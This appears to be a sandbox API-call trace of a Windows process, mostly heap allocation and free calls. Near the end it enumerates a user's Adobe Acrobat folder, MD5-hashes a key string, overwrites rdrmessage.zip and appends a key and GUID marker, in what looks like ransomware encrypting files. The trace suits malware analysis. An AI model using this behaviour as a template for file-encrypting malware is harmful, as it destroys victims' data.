(HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.254] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0272.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5418 [0272.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.254] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0272.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0272.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082288 [0272.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5418 | out: hHeap=0x640000) returned 1 [0272.255] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0272.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0272.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082288 | out: hHeap=0x640000) returned 1 [0272.255] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0272.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0272.255] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0272.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0272.255] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0272.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0272.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0272.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0272.255] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0272.255] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.255] PathFindFileNameW (pszPath="") returned="" [0272.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.255] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.264] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.264] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.264] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xde963ca0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0xa5ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rdrmessage.zip", cAlternateFileName="RDRMES~1.ZIP")) returned 1 [0272.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.265] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd6) returned 0x300f168 [0272.265] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.265] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned=".zip" [0272.265] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0272.266] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=42495) returned 1 [0272.266] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0272.269] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa5d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.269] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0272.276] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0272.276] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0272.276] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.276] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xa5ff, lpOverlapped=0x0) returned 1 [0272.277] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.277] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0272.277] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.277] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.278] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5418) returned 1 [0272.278] CryptCreateHash (in: hProv=0x2fa5418, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0272.279] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0272.279] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0272.279] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0272.279] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0272.279] GetLastError () returned 0x0 [0272.279] CryptDestroyHash (hHash=0x3091560) returned 1 [0272.279] CryptReleaseContext (hProv=0x2fa5418, dwFlags=0x0) returned 1 [0272.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0272.279] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa600) returned 0x311d708 [0272.279] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0272.279] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0272.279] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xa5fa, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xa5fa, lpOverlapped=0x0) returned 1 [0272.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0272.280] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa5ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.280] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0272.280] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0272.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0272.280] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0272.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0272.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0272.280] WriteFile (in: hFile=0x5c4, lpBuffer=0x71eaa8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x71eaa8*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0272.280] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71eaa8 | out: hHeap=0x640000) returned 1 [0272.280] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0272.280] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0272.280] CloseHandle (hObject=0x5c4) returned 1 